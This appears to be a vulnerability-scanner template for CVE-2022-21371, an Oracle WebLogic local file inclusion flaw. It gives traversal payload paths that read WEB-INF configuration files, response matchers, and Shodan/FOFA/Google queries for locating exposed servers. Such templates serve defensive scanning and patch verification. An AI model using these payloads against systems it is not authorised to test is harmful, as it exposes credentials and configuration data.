69 lines
2.5 KiB
YAML
69 lines
2.5 KiB
YAML
id: CVE-2022-21371
|
|
|
|
info:
|
|
name: Oracle WebLogic Server Local File Inclusion
|
|
author: paradessia,narluin
|
|
severity: high
|
|
description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
|
|
impact: |
|
|
An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.
|
|
remediation: |
|
|
Apply the latest security patches provided by Oracle to fix the vulnerability.
|
|
reference:
|
|
- https://www.oracle.com/security-alerts/cpujan2022.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-21371
|
|
- https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
|
|
- http://packetstormsecurity.com/files/165736/Oracle-WebLogic-Server-14.1.1.0.0-Local-File-Inclusion.html
|
|
- https://github.com/Mr-xn/CVE-2022-21371
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-21371
|
|
cwe-id: CWE-22
|
|
epss-score: 0.96287
|
|
epss-percentile: 0.9943
|
|
cpe: cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: oracle
|
|
product: weblogic_server
|
|
shodan-query:
|
|
- http.title:"oracle peoplesoft sign-in"
|
|
- product:"oracle weblogic"
|
|
fofa-query: title="oracle peoplesoft sign-in"
|
|
google-query: intitle:"oracle peoplesoft sign-in"
|
|
tags: cve,cve2022,lfi,weblogic,oracle,packetstorm
|
|
|
|
http:
|
|
- method: GET
|
|
raw:
|
|
- |+
|
|
GET {{path}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
payloads:
|
|
path:
|
|
- .//WEB-INF/weblogic.xml
|
|
- .//WEB-INF/web.xml
|
|
|
|
stop-at-first-match: true
|
|
unsafe: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body, "<web-app") && contains(body, "</web-app>")'
|
|
- 'contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>")'
|
|
condition: or
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(header, "text/xml")'
|
|
- 'contains(header, "application/xml")'
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100f3927957dfceb6b130dfad742dc50048a66af5440697a38c30e6dfabbc6f75bf022100839f4947c58227e56f11c16dbe1c9d0b9e7e4e3af614ba54f4030603947a7d7a:922c64590222798bb761d5b6d8e72950 |